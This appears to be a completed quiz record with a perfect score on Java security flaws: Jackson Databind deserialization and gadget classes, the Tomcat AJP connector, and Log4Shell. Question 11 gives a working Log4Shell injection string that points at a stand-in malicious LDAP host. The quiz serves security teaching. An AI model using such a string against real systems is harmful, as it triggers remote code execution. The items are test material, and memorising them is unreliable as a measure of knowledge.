Started on	Wednesday, 19 March 2025, 4:36 PM
State	Finished
Completed on	Wednesday, 19 March 2025, 4:45 PM
Time taken	9 mins 11 secs
Marks	12.00/12.00
Grade	**100.00** out of 100.00

Question 1

Complete

Mark 1.00 out of 1.00

How can an attacker exploit the Jackson Databind vulnerability?

a. By injecting SQL queries into the serialized JSON
b. By passing a URL that bypasses authentication checks
c. By exploiting weak encryption in the JSON keys
d. By sending a JSON payload containing dangerous `@type` metadata

Question 2

Complete

Mark 1.00 out of 1.00

How can the risk associated with AJP be mitigated?

a. Disabling HTTPS and using HTTP only
b. Upgrading to the latest version of Java
c. Using a different logging library
d. Restricting AJP traffic to trusted hosts and setting a secret

Question 3

Complete

Mark 1.00 out of 1.00

What caused the Jackson Databind deserialization vulnerability?

a. The use of outdated cryptographic algorithms
b. Insufficient logging mechanisms
c. A flaw in the handling of polymorphic types
d. The absence of any type handling logic

Question 4

Complete

Mark 1.00 out of 1.00

What configuration change can help prevent Log4Shell attacks?

- a. Increasing the logging level to DEBUG
- b. Disabling log rotation in Log4j
- c. Setting `log4j2.formatMsgNoLookups=true`
- d. Using a firewall to block all incoming traffic

Question 5

Complete

Mark 1.00 out of 1.00

What is a gadget class in the context of deserialization vulnerabilities?

- a. A class that can be exploited during deserialization to perform unintended actions
- b. A utility class that simplifies JSON handling
- c. A class that implements only the `Serializable` interface without methods
- d. A class that logs all serialization and deserialization events

Question 6

Complete

Mark 1.00 out of 1.00

What is one major security risk of exposing an AJP connector to the internet?

- a. It can lead to remote code execution through deserialization exploits.
- b. It makes the application vulnerable to Cross-Site Scripting (XSS).
- c. It causes encryption keys to be logged in plain text.
- d. It can allow attackers to perform DNS cache poisoning.

Question 7

Complete

Mark 1.00 out of 1.00

What is the primary mitigation for the Jackson deserialization vulnerability?

- a. Upgrading to a patched version of Jackson and whitelisting allowed types
- b. Using prepared statements for database queries
- c. Switching to XML instead of JSON
- d. Disabling all JSON handling in the application

Question 8

Complete

Mark 1.00 out of 1.00

What made the Log4Shell vulnerability (CVE-2021-44228) possible?

- a. Unpatched vulnerabilities in the LDAP server
- b. Improper token validation in Log4j
- c. A lack of secure password storage in Log4j
- d. A remote code execution flaw in the JNDI lookup feature

Question 9

Complete

Mark 1.00 out of 1.00

What role does the AJP connector play in a Tomcat-based application?

- a. It serves as a bridge between a web server and Tomcat for request forwarding.
- b. It acts as a database connection pool manager.
- c. It handles file uploads from the client.
- d. It is responsible for TLS encryption of all HTTP requests.

Question 10

Complete

Mark 1.00 out of 1.00

What type of action might a gadget class perform when deserialized?

- a. Send email alerts to the system administrator
- b. Automatically hash all fields using SHA-256
- c. Write files or execute code without explicit calls from the application
- d. Automatically compress large objects in memory

Question 11

Complete

Mark 1.00 out of 1.00

Which input could trigger the Log4Shell vulnerability?

- a. `<script>alert('XSS')</script>`
- b. `${jndi:ldap://malicious-server.com/a}`
- c. `GET /login HTTP/1.1`
- d. `{ "username": "admin", "password": "password123" }`

Question 12

Complete

Mark 1.00 out of 1.00

Why are gadget classes often found in common libraries?

a. Common libraries are more likely to be open source and freely available.
b. Common libraries are more frequently updated and include additional features.
c. Common libraries are written in older programming languages.
d. Common libraries often include reusable classes with methods that may be automatically invoked during deserialization.